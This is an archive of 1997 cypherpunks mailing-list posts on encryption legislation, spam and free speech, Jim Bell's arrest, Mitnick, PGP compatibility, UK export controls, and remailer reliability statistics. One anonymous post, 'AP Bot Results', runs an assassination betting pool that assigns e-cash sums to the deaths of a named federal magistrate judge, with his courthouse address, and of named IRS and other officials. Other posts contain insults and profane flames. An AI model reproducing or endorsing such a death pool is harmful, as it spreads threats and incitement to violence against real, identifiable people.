Administration gunning for Pro-CODE (sponsored by Burns, a less powerful
member of the Commerce Committee chaired by McCain, and someone already on
McCain's bad side according to Declan).

Hindsight is 20-20, but it was a perfect fit -- he's the chair of a
committee so he can force a bill through; Burns is on the committee so he
confronts Pro-CODE directly; according to Declan, he didn't get along with
Burns anyway; he wants to reclaim his public crusader image; and he's
always been strong on national security stuff.

Lee

At 12:26 PM -0700 6/22/97, John Young wrote:
>The New York Times Magazine had a feature story on
>Senator McCain a week or two ago which covered in
>detail his personal, military and political history and his
>heroic struggle to meet the high standards set by his
>admiral father, the Navy and individual ethics.
>
[good comments snipped]



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM645krk2KqHYSFEtEQJkCgCfbPQQU3vSAFiewIvENmZhXoAfsl0AoOXZ
Z+NMe7F1217KfikdUbG9GhO0
=8eXB
-----END PGP SIGNATURE-----






From tien at well.com  Mon Jun 23 02:08:59 1997
From: tien at well.com (Lee Tien)
Date: Mon, 23 Jun 1997 17:08:59 +0800
Subject: Bomb-making instructions....
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

As I'm sure you know, CNN is probably safe in any case, reality being what
it is.

The fine line that DOJ recommended on the Feinstein Amendment is based
mainly on intent.  I don't have the report in front of me, but I think DOJ
recognized that widespread publication makes it harder to prove a nasty
intent.

Suppose CNN got the McVeigh transcripts, scanned them in, and put them up
on the Web.  It's pretty newsworthy.  Hard to see how there could be a
prosecution given the First Amendment, even if the Feinstein Amendment
became law.

Indeed, I would assume that the information would propagate to other sites
as well, including outside the United States.  At that point prosecution
seems even more difficult.

IMHO, proving intent is to some extent a function of how "public"
information is.  If information is publicly available but not very well
known, or perhaps more important, its being publicly available is not very
well known - then it is easier to convince a jury that knowing it implies
badness (unless you have a good, usually institution based, reason for
knowing it).

It would be an interesting piece of sociology of speech, law and technology
to do a serious, scholarly study of the public availability of existing
bombmaking information on the Web.  Where does it come from?  How much was
originally government information?  How accurate is it?  What kind of bombs
can be built with the info?  Who puts it up?  Then compare what's on the
Web to what's in university and public libraries.  This is the kind of
study that may not be doable once the Amendment passes, for obvious reasons.

Lee

At 8:32 PM -0700 6/22/97, Tim May wrote:
>The latest crime for which Senator Diane Swinestein has earned the
>[CENSORED] is her "bomb-making instructions on the Internet are illegal"
>bill.
>
>But I have a question. Does this mean CNN will face prosecution if it
>publishes the transcripts of the McVeigh case?




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM645lbk2KqHYSFEtEQLqcgCfTdqRguMF3WMpKvr+W5Nps8mNqG0An2uK
2Uea0p5qjNCxIJiV5ROw8bAu
=AhyE
-----END PGP SIGNATURE-----






From nobody at faust.guardian.co.uk  Mon Jun 23 17:19:58 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Mon, 23 Jun 1997 17:19:58 -0700 (PDT)
Subject: Your surfing days are over
Message-ID: <199706231000.LAA01508@faust.guardian.co.uk>


This week, in the Seaside Issue of Shift Control...

"We bade farewell to the snail collectors and moved 
down to the beach. The tide was out, revealing a broad 
stretch of seaweed-covered stones. At the tide's edge 
a man and a woman were harvesting winkles, "for tonight's 
tea". We continued to the next bay, half expecting to 
find someone digging for maggots or collecting slugs, 
but instead we bumped into a naked bloke. He seemed more 
surprised than us and dashed off into the sea." 
- Paul Robinson on a weekend away at the seaside.

"The good news from the English Tourist Board (ETB) is 
that the seaside amusement industry is booming: last 
year we took 18.7 million seaside holidays and spent 
�4.2bn. The coast is still the most popular domestic
holiday destination, possibly because, as Anna Crombie 
of the ETB points out, 'you can still have fun whatever 
the weather, which is not always true of our continental 
competitors'. Who needs the sun when you can visit Mr 
Blobby's Bubble Kingdom?" 
- Rebecca Fox provides the ultimate guide to British 
beaches.

"As soon as we got to the sand my father sprinted down to 
the sea, gritted his teeth and dived in. We stood there 
unimpressed, looking for the nearest caf�. Dad waved, 
beckoning us to join him. With the sun having just gone 
in and the wind picking up, none of us were going to comply."
- Leo Hickman on growing up at the seaside.

Plus new fiction, the story of a bionic bee and the chance 
to see your own music and movie reviews published on the net.

ShiftControl: waiting for you NOW at 
http://www.shiftcontrol.com

__________________________________________

Shift Control is produced by the Guardian's New Media Lab 
with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request at nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe








From phimon at ix.netcom.com  Mon Jun 23 03:48:06 1997
From: phimon at ix.netcom.com (Philip A. Mongelluzzo)
Date: Mon, 23 Jun 1997 18:48:06 +0800
Subject: spam on this list
In-Reply-To: 
Message-ID: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>



I certainly agree with free speech and understand how it can be manipulated
by the scum bags at large in society, _BUT_ free speech is free speech.
The warts come from an ever increasing BENT society.

I still am concerned about kids being subject to material that is
inappropriate for their age group (what ever that may be).  So how do I
insure that my son/daugher does not get their hands on _THIS_ material?
Twenty seven years ago I took an oath to do whatever was needed to protect
and defend the constitution against all enemies (domestic and foreign)  But
what is the solution to this problem from a parents point of view?  Simple
- control the material.  Make it like liquor, guns, booze.  Oops.. for some
reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
problem.  That's easy, no Internet access.  Now my kid is at a
disadvantage!  I keep loosing here.  I don't like the way this is beginning
to feel!!

I'm sure that the community on this list has discussed this problem at
length.  What is the best defense?  How do we get the message out or,
better yet, deliver it?  

Whatever that is, we need to do the same thing for the 2nd Ammendment, and
the 3rd, and so on.

The challenge to write code could be fun, but maybe we should use our
collective wisdom to deliver the best of the best solutions (there may be
more than one) to our elected officials.  Load their mailboxes up with
solutions to problems.  Sooner or later more than one of them is going to
think its his/her idea and push it along.  Web sites can be set up to
assist them with details.  I'm sure you get the idea.

Just another citizen wondering if anything is going to be left for our
grandchildren.


>At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:
>
>>Thats fine but, i dont want to be invited to look at nasty naked
>>cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at
>>the mail box ?? BEsides i hate junk mail too, and if i could stick a no
>>junk mail sticker on my email i would.
>
>You're on the wrong list. We favor free speech, including inviting
>15-year-olds to look at pictures of their choosing on the Net. They don't
>_have_ to look, after all.
>
>Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or your
>versions in your own country. Or move to Iran. Or something.
>
>
>--Tim May
>
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>






From paul at fatmans.demon.co.uk  Mon Jun 23 04:18:34 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 23 Jun 1997 19:18:34 +0800
Subject: Canarypunk: Jim Bell in a coalmine
In-Reply-To: 
Message-ID: 




> Has anybody local to Jim Bell's stir gone to visit our incarcerated, um,
> gaming enthusiast, lately, just to see if he needs anything? Oh. Besides
> *that* of course. :-).

I had thought that Jims court appearance was to be sometime about a week 
ago, what was he actually charged with? Has he appeared in court yet?

> That's because Bell is, however rediculous the offense or his behavior the
> first cypherpunk political prisoner. He's ours, folks, like it or not. It's
> time we faced it, and dealt with the problem accordingly.

Indeed, Jim is without doubt under arrest not on whatever cooked-up 
charges they are holding him on, but because of AP and his "loon" type 
possesion of carbon fibers etc. Jim certainly deserves our support, who 
next otherwise? You?

> Admittedly, this is a distraction from the most important thing, which is
> writing code, but I bet that there are in fact cypherpunks-who-don't-code
> in Bell's neighborhood, and not necessarily even Friends of Jim, who would
> be happy to personally go see how Bell is doing and come back and tell us
> what happened. Think of it as part of the feedback loop for net.freedom. A
> trip into the coal mine with a canary cage.

Not enough cypherpunks ever get round to writing significant code, myself 
included. I have lost count of the number of times I have sat down at a 
workstation overnight, got some way into starting a project, then just 
given up on it. I hope someone does go and see Jim, at the very least it 
would be a pleasant gesture and give Jim the message that the cypherpunks 
haven`t forgotten about him. Sure, It`s easy for me to talk, I can`t go 
and see him, I`m hardly in his neighbourhood, but if you shrug your 
shoulders and ignore his position it could be you next.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From jya at pipeline.com  Mon Jun 23 04:46:56 1997
From: jya at pipeline.com (John Young)
Date: Mon, 23 Jun 1997 19:46:56 +0800
Subject: Feds Recant on Mitnick
Message-ID: <1.5.4.32.19970623111954.006ba048@pop.pipeline.com>



     23 June 1997:

     New twist/ Feds Recant on Mitnick's Fugitive Status 

     Back in 1994, a supposedly fleeing Kevin Mitnick told anyone 
     who would listen he really wasn't a fugitive from justice. 
     He claimed to be just a paranoid hacker who didn't want to 
     stick around once his probation was up. As it turns out, he 
     may have been telling me the truth. In a federal court in Los 
     Angeles, the government admitted it had made a mistake in saying 
     that Mitnick was on the lam. 

     The admission may put an entirely different twist on the case.
     If Mitnick wasn't really a fugitive, a couple of probation
     violations mistakenly escalated into one the biggest manhunts
     in cyberspace. Petty offenses by Mitnick -- probably
     punishable by an extension of his probation -- spun into a
     nationwide cat-and-mouse game that drew a frenzy of media
     hype. Along the way, Mitnick, who may have been no more
     than a scofflaw, instead became the notorious criminal
     mastermind the authorities apparently wanted him to be. 

----------

Full report:

   http://jya.com/kmtwist.txt

Crypto news:

S.F. Judge Likely to Uphold Encryption Ruling
EEMA/ EEMA Slams UK Government Over Encryption Restrictions 
Two reports on prospects for the McCain/Kerrey bill
Two reports on the import of the DES crack

   http://jya.com/cn062397.txt







From jrennie at hardy.ocs.mq.edu.au  Mon Jun 23 06:14:39 1997
From: jrennie at hardy.ocs.mq.edu.au (Jason William RENNIE)
Date: Mon, 23 Jun 1997 21:14:39 +0800
Subject: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: 



I thik i've badly explained myself.

The reason i HATE spam is for the same reason i hate telemarketing. I 
resent these #@%@#$@$ using MY mail box as an advertising medium. If i 
look at there page, and it has advertising thats fine, because i went 
there. If i'm on a list that has advertsing on it, then it is my choive 
and i can get off the list. Having it sent to MY email box is NOT my 
choice and my rights to choose are being infringed by these idiot 
shoveling there crap into my email box. 

Do you like telemarketers calling you ?? Is that free speech or invasion 
of privacy. There is a solution to tele marketing. It is to tell thm it 
will cost the $500 to use your phone for advertising purposes. It has 
been done, taken to court and won. In fact the judge had his football 
inturpted by the telemarketers and they has to pay. This guy has never 
been called again. 

WOuld this work with SPAM ?? I dont want it and they dont have permisiion 
to advertise in something that is mine. IF that is a violation of free 
speech can i come over to your place and put up some pro neo-nazi stuff 
on your property without your permission. I'm just harmlessly advertising 
on yuor personal property.

I agree this is an extreme example but i think it makes the point. 

I'm not anti-free speech, i'm just anti unwanted mail.

Unfortuently i cant just tell them it will set them back cash to 
advertise in my mail box because i'm in australia and the legal headaches 
wouldn't make it worth it. Doe snaybody in the US want to take it up and 
kill spam once and for all ?? You only need the legal precedent set.

I expect to get flamed and crapped all over for this but i dont care. I 
resent being suggested i'm some sort of ultra right conservative. Well i 
guess thats who those guys are i was told i was wanting to be like.

Jason =8-]






From mark at unicorn.com  Mon Jun 23 06:20:22 1997
From: mark at unicorn.com (Mark Grant)
Date: Mon, 23 Jun 1997 21:20:22 +0800
Subject: New PGP signatures
Message-ID: 




Could I humbly request that people don't post the new (SHA?) PGP
signatures to the list for the time being as it's a pain in the ass for
those of us outside the US who don't yet have the ability to read them.
PGP 2.6.x error handling doesn't know what to do with them and it breaks
our mail-processing code.

	Mark







From dformosa at st.nepean.uws.edu.au  Mon Jun 23 06:48:28 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 23 Jun 1997 21:48:28 +0800
Subject: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: 



On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:

[...]

> I certainly agree with free speech and understand how it can be manipulated
> by the scum bags at large in society,

There is a cuple of mixxed messeges here and I'm going to try to sort them
out.

Do you mean scum bags as in crooks who steal my mail box I pay for without
my permittion to sell me stuff I don't whant?  Then under normal
property laws I should be able to gain reprehence.

Thouse who con naive peaple into giveing them money?

The best wepon against these is an informed and educated public.
Unfortunitly the fact that peaple still post MMF indercates the net-public
still has a sizable number of peaple with inpeard thort proccesses.

Or do you mean thouse who have diffrent sexulial natures to you?

I've met plenty of peaple like this, most of them I would consder postive
contracbutions to the world.

[...]

> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).

First question kids in general or your kids?

> So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

The best and often easyest to implerment is to use the internet with them.
Net(lock nanny ect) type softwere is of debaitable qulity, the main
question with it is "Do you trust a corpration to bring up your child."?

> Twenty seven years ago I took an oath to do whatever was needed to protect
> and defend the constitution against all enemies (domestic and foreign)

I for one wish I had a consitution that was worth taking an oath to.  But
I would honer it better by reading and understanding it reather then
admiring the cover.

>  But
> what is the solution to this problem from a parents point of view?  Simple
> - control the material.

To any complex problem there is always a simple odvice soultion, and that
soultion is wrong.

> Make it like liquor, guns, booze.

But infomation is totaly unlike liquor, guns and booze, for one thing it
moves faster, and for anthougher thing unlike liquor, guns and booze
infomation is a fundermental aspect of the cotinuence of our democries.

> Oops.. for some reason this is a violation of the 1st amendment to!

You seem shocked by this, why.  I can't see how any goverment effort to
control the free flow of information could be seen as anything other then
a violation of your first amdment.

>  Ok, my mistake, its my problem.

You are an adult in a libral democrosy,  you get rights and in exchange
you get problems.

> That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  

The world is complex, there are no easy answers, there is no one
true way,  there might not even be a soultion to your problem.

[...]

> The challenge to write code could be fun,but maybe we should use our
> collective wisdom to deliver the best of the best solutions 

That is the whole idear of this list as I understand it, to implerment the
best of the best soultions WRT crypto, priversy ect.  its a grass roots
aproch as good code has a far greater inpact on the net then anything
else.

> Just another citizen wondering if anything is going to be left for our
> grandchildren.

Death of the internet film at 11?

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From adam at homeport.org  Mon Jun 23 06:51:54 1997
From: adam at homeport.org (Adam Shostack)
Date: Mon, 23 Jun 1997 21:51:54 +0800
Subject: New PGP signatures
In-Reply-To: 
Message-ID: <199706231334.JAA15896@homeport.org>



| Could I humbly request that people don't post the new (SHA?) PGP
| signatures to the list for the time being as it's a pain in the ass for
| those of us outside the US who don't yet have the ability to read them.
| PGP 2.6.x error handling doesn't know what to do with them and it breaks
| our mail-processing code.

	Better yet, could PGP release source code so those of us not
lucky enough to own a Mac, Windows, or other supported platform can
move ahead with porting?

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From lucifer at dhp.com  Mon Jun 23 07:00:34 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 23 Jun 1997 22:00:34 +0800
Subject: AP Bot Results
Message-ID: <199706231344.JAA17712@dhp.com>



"Dead Lucky" is an Assassination Politics Bot operated in response to
the illegal and unconstitutional imprisonment of an American citizen
in retaliation for exercising his right of free speech.
It is the view of the operator's of this AP Bot that since it was the
illegal and unconstitutional actions of Federal employees which was
responsible for the implementation of this AP Bot and several others,
that they should accordingly be subjected to imprisonment without bail
for endangering the lives of others, including several Cypherpunks.

Leading eCa$h candidates for dying at an opportune time to make some
perennial loser "Dead Lucky" are:

e$ 2,610.02
J. Kelley Arnold, United States Magistrate Judge,
  Union Station Courthouse, 1717 Pacific Avenue, Tacoma, Washington

e$ 1,500.48
Jeffrey Gordon, Inspector with the Internal Revenue Service,
  Internal Security Division

e$ 758.00
Inspector Cindy Nelson

e$ 514.02
Cindy Brown

Leading Cypherpunks:
Graham John-Bullers
TruthMonger
Kent Crispin

Leading Contributors/Bettors:
The James Gang
The Dalton Gang
The Bell Gang
William Geiger III







From rttc0025 at pophost.club.innet.be  Mon Jun 23 07:03:27 1997
From: rttc0025 at pophost.club.innet.be (rttc0025 at pophost.club.innet.be)
Date: Mon, 23 Jun 1997 22:03:27 +0800
Subject: anonymous mail
Message-ID: <199706231343.PAA10140@hydrogen.inbe.net>



could you send me the name of an remailer that works in Belgium
please, i would be most gratefull

thank you
yours truly 
ambi






From aba at dcs.ex.ac.uk  Mon Jun 23 07:04:40 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 23 Jun 1997 22:04:40 +0800
Subject: off-the-record chats with spooks (was Re: spook pressure on crypto exports)
In-Reply-To: <199706222306.AAA01385@server.test.net>
Message-ID: <199706230846.JAA00380@server.test.net>




There is a tendency I think to be drawn into spooks, civil servants,
and polticians requests for off the record comments on how politics
really works.  (The politics of favours, the politics of spooks
wishing to intimidate people into censoring themselves to operating
according to unwritten laws (laws which don't exist, but which the
spooks wish did, and so pretend do exist)).

I think: if they said it, hold them to it.  Ignore off the cuff
requests, if they have the force of law behind them (it boils down to
a threat to kill you, or imprison you if you disagree), that they
should also get you to behave nicely and keep quiet your experience of
the way they work in practice sucks, there's too much of it in
politics in general, it belongs on a bill-board not in quiet off the
record moments after crypto-conferences.

Of course this might have the effect that spooks don't want to talk to
you, or are more careful what they say, but who cares.

Also... some clarification on the UK export situation, which I talked
about in my last post in this thread:

One concern about some of this stuff, is that often people are
representing some company when interacting with spooks, where they 
would be covered by an NDA with the company.  Well OK.  There are 
still remailers to explain the situation without giving enough detail
to identify yourself.  Sometimes there are no NDAs.

The export situation has slightly conflicting parties, the DTI (civil
servants, Dept. of Trade & Industry) and GCHQ.  DTI say you can export
intangibly, but gave a whole list of reasons why a "responsible" company
surely would not want to do anything disreputable, like have different views
of export controls from the government, here from:

	http://www.dcs.ex.ac.uk/~aba/ukexport/dti-let.txt

: 9.  Hard to see what practical advantage there is to exporters in
: exporting technology by intangible means because they could get
: licences anyway if no concerns about the export itself.
: 
: 10.  And if concerns are sufficient for a licence to be refused, what
: reputable exporter would wish to export it by any means?

CESG/GCHQ seem less keen to admit the intangible export loop hole
exists, preferring to pretend it doesn't exist until pressed.

The DTI at least has contingency plans for this (from same letter):

: 4.  Government is aware of the potential for abuse of the spirit of
: export controls. If it appears HMG's export control policies are being
: undermined, then further action may have to be considered.

As I said in the previous post: the GCHQ off-the-record low down on this is
that if you export stuff intangibly (which the DTI at least will admit
reluctantly that you can do), then they will deny your tangible export
requests.  If you are a business, this might cause you to think carefully
about using the intangible export loop-hole.  Or perhaps about discussing
too much the way this works with journalists or otherwise embarrassing them. 
Which is of course what they want: an unwritten law which they have power to
decide as they wish.

Wouldn't it be fun if people in government/spookdom actually participated in
open discussions such as this?  (People like say Nigel Hickson, who got
roasted at the LSE crypto conference recently on the DTI/GCHQ/government
infamous TTP paper, his boss David Hendon slunk off early to avoid facing
the music during open question time). (David Hendon not to be confused with
David Henson, the ex-spook now in some governmental Euro gakkers group)

But they aren't going to participate because they operate best in
half-light, they hate harsh bright lights of open discourse.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 23 Jun 97 6:48:07 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
squirrel mix at squirrel.owl.de              --+-++++++++  1:38:27  99.98%
weasel   config at weasel.owl.de             --+-++++++++  1:39:11  99.98%
balls    remailer at huge.cajones.com         -+#######*#     9:47  99.93%
replay   remailer at replay.com              *-++********     4:18  99.90%
hidden   remailer at hidden.net              __.+-#######  7:22:42  99.88%
reno     middleman at cyberpass.net          -.---.-+++++  2:14:42  99.82%
winsock  winsock at rigel.cyberpass.net      ---.--.----   4:58:14  99.82%
jam      remailer at cypherpunks.ca          + ++**  ****    18:08  99.57%
cyber    alias at alias.cyberpass.net        +++**++*****    12:43  99.56%
lucifer  lucifer at dhp.com                  +-++ +++++++    41:58  99.38%
mix      mixmaster at remail.obscura.com     ..-.----.- -  9:33:04  99.32%
nym      config at nym.alias.net                 #*****##     1:05  88.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From smith at securecomputing.com  Mon Jun 23 08:52:11 1997
From: smith at securecomputing.com (Rick Smith)
Date: Mon, 23 Jun 1997 23:52:11 +0800
Subject: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: 



At 8:05 PM -0400 6/20/97, ET wrote:
>I caught the Headline News mention of the DES crack and it
>unfortunately put the wrong spin on things.
>
>I can't remember it word for word, but it went like this:
>"If you're going to decrypt financial transactions you'd better
>be prepared to get 1000 computers and spend 3 months on
>the project."

At least Harry Houdini made it look easy when *he* cracked state of the art
security technology...

Rick.
smith at securecomputing.com      secure computing corporation
"Internet Cryptography" soon in print http://www.visi.com/crypto/







From bennett_t1 at popmail.firn.edu  Mon Jun 23 09:00:52 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Tue, 24 Jun 1997 00:00:52 +0800
Subject: spam on this list
In-Reply-To: <199706230222.TAA04375@adnetsol.adnetsol.com>
Message-ID: <33AEA5D0.43193BD4@popmail.firn.edu>



Tim May wrote:

> At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:
>
> >Thats fine but, i dont want to be invited to look at nasty naked
> >cheerleaders. And isn't it somewhat problematic when a 15 yr old
> looks at
> >the mail box ?? BEsides i hate junk mail too, and if i could stick a
> no
> >junk mail sticker on my email i would.

Alrighty, see that little key on your keyboard that says "Delete?"  I
learned to use that if I don't want to be bothered by spam.  Whining
about it does nothing.  Or you can do the anti-spamming e-mail address
idea.

> You're on the wrong list. We favor free speech, including inviting
> 15-year-olds to look at pictures of their choosing on the Net. They
> don't
> _have_ to look, after all.

I think people need to learn that if you don't like it, don't watch it.
Out of sight, out of mind.

> Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or
> your
> versions in your own country. Or move to Iran. Or something.

That McCain with his little "Secure Public Networks Act."  That was the
best example that CONgress just doesn't give a rat's arse about us.
They trigger the "nay" key whenever someone says those magic little
words: Child Pornongraphy.  About .02% of America trades kiddie porn,
and I bet half of them don't even use PGP.  But then again,
congresscritters don't know shit about technology.






From wombat at mcfeely.bsfs.org  Mon Jun 23 09:18:26 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Tue, 24 Jun 1997 00:18:26 +0800
Subject: spam on this list
In-Reply-To: 
Message-ID: 




Can we "can" the "SPAM" discussion?  (ouch)

As one who has beaten this subject to death on this list in the past, I 
can attest that there is little new ground to cover, few minds to be 
changed, and no relevence to crypto.
 
Perhaps we can start a " SPAM" mailing list. I wonder if the Hormel folks
have a sense of humor? ;) (Is it Hormel? Can Dimitri get in touch with 
his buddy Spamford and get the real story?)

(Disclaimer)
OTOH, I support your right to freely express your opinions in this forum 
and wouldn't dream of censoring you.

-r.w.






From rwright at adnetsol.com  Mon Jun 23 09:25:15 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Tue, 24 Jun 1997 00:25:15 +0800
Subject: spam on this list
Message-ID: <199706231604.JAA14744@adnetsol.adnetsol.com>



On or About 23 Jun 97 at 22:52, Jason William RENNIE wrote:

> wouldn't make it worth it. Doesn't aybody in the US want to take it up
> and kill spam once and for all ?? You only need the legal precedent
> set.

Spam is free speech...  We, here in the USofA don't want any new 
laws, thank you.  We've got way more than we need right now.  Spam 
will never die!  Spam is free speech!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From rwright at adnetsol.com  Mon Jun 23 09:28:59 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Tue, 24 Jun 1997 00:28:59 +0800
Subject: spam on this list
Message-ID: <199706231611.JAA14911@adnetsol.adnetsol.com>




> On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
> 
> > Twenty seven years ago I took an oath to do whatever was needed to
> > protect and defend the constitution against all enemies (domestic
> > and foreign)

Yeah, I took one, too.  You think spam is an enemy?  HAH! 

> >  But
> > what is the solution to this problem from a parents point of view?
> >  Simple - control the material.

What is the problem from a non-parent (by choice) point of view?  
Simple: control your fucking kids!  That's the number one problem in 
the USofA today.  Parents let their fucking kids run wild.  Mom 
works, Dad works, Kids are free all day to cause trouble, and send 
spam.

Spam is free speech!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From tcmay at got.net  Mon Jun 23 09:55:47 1997
From: tcmay at got.net (Tim May)
Date: Tue, 24 Jun 1997 00:55:47 +0800
Subject: How did these people find our list?
In-Reply-To: 
Message-ID: 



At 3:31 AM -0700 6/23/97, Philip A. Mongelluzzo wrote:

>I still am concerned about kids being subject to material that is
>inappropriate for their age group (what ever that may be).  So how do I
>insure that my son/daugher does not get their hands on _THIS_ material?

Presumably by controlling them yourself. You can't demand that others limit
their thoughts, or their fucking words [added deliberately] just so that
little Johnny and Suzie won't ever be exposed to four letter words or even
images more suitable for adults.

If you don't want them exposed, don't let them be exposed. Simple.

>Twenty seven years ago I took an oath to do whatever was needed to protect
>and defend the constitution against all enemies (domestic and foreign)  But

Like the Congressvermin, you took the oath but failed to understood what
you were supposdly defending. (Actually, not to sound disrespectful, but as
there has been no credible threat of attack or invasion of the states in
